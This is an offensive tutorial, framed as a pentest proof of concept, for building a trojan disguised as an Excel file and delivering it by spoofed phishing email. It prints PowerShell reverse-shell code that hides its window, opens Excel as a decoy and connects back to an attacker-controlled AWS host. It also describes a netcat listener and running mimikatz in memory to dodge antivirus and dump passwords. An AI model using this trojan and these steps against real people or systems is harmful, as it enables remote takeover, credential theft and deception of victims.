Netcat Reverse Powershell Shell Across The Internet + Privilege Escalation

Outlined below is a technique for building and delivering a trojan to a victim in hopes that he or she will run the infected file and ultimately give us a reverse shell across the Internet.  There are lots of ways to deliver a payload and we’ve chosen to use email as the delivery method in this example.

For this POC, we have a Ubuntu server hosted at AWS.  This server will be hosting the malicious file and running the netcat listener. We have already installed apache and the installation/config is not covered here (sorry).

To start, we need to setup a port forwarding rule in the AWS console for all inbound TCP traffic coming in to our VM on port 31337.


We now need to take our Powershell code and compile it as an executable.   The code is  below.  When executed, it should connect back to our AWS instance’s public IP on port 31337 and give us our reverse shell. When run, it should also open Excel on the victim’s computer.

Add-Type -Name win -MemberDefinition ‘[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int
state);’ -Namespace native
[]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
Invoke-Item “C:\Program Files\Microsoft Office\Office15\excel.exe”
Set-Location c:\windows\system32
$client = New-Object System.Net.Sockets.TCPClient(“AWS_Public_IP_Goes_Here”,31337);$stream = $client.GetStream();[byte[]]$bytes =
0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +
“PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,

We used PowerGUI Script Editor for compiling and also for setting the .ico file to be the default that you’d normally see used when opening .xlsx (Excel) documents.


The malicious file is now ready to be uploaded to our Ubuntu server.  We used SCP to deliver the file to /var/www/html/files:


Once that is complete, we need to  setup a netcat listener on the same port as above (31337):


Now it’s time to deliver the file. We have other posts on how to spoof emails and reply-to headers, and it’s assumed there is familiarity with the social engineering aspect of sending convincing emails. If you use an email client like Outlook (for example), you can take advantage of it’s HTML capabilities as depicted below.


When the recipient receives the email, it should/could look similar to the below.


When viewed in Windows Explorer, depending on settings the malicious file could/should look something like the below.  The “giveaway” is that the file is listed as an “application” in the “type” column; however, the hope is that the icon and lack of file extension will make this file look like a regular Excel file enough to get the victim to click on it.


When the file is executed, it should (hopefully) create a reverse shell back to the AWS instance.  If we switch back to our Ubuntu box, we should see an incoming connection from the victim’s network.


From here, to obtain our shell, just type something/anything (like the word “shell”) or press enter a couple of times. (see below):



With our new Powershell shell, we can execute any commands that one would/could normally run from a Powershell prompt.


During a pentest engagement the goal is usually privilege escalation.  With our shiny new shell, we can issue the below command and see that our target is also a local administrator on their box.


Despite our shell running as a user with limited privileges, we now know that our victim has the ability to run commands in an escalated fashion. For example, we may choose to leverage their access to attempt to dump passwords from memory:



The above command will download mimikatz and run it in memory so that it can function without being detected by AV.  It will also run as a local administrator (which is required) and dump all of the output into a text file of our choosing.


Using the “type” command, we can view the file’s contents and see that we’ve successfully dumped passwords from memory.




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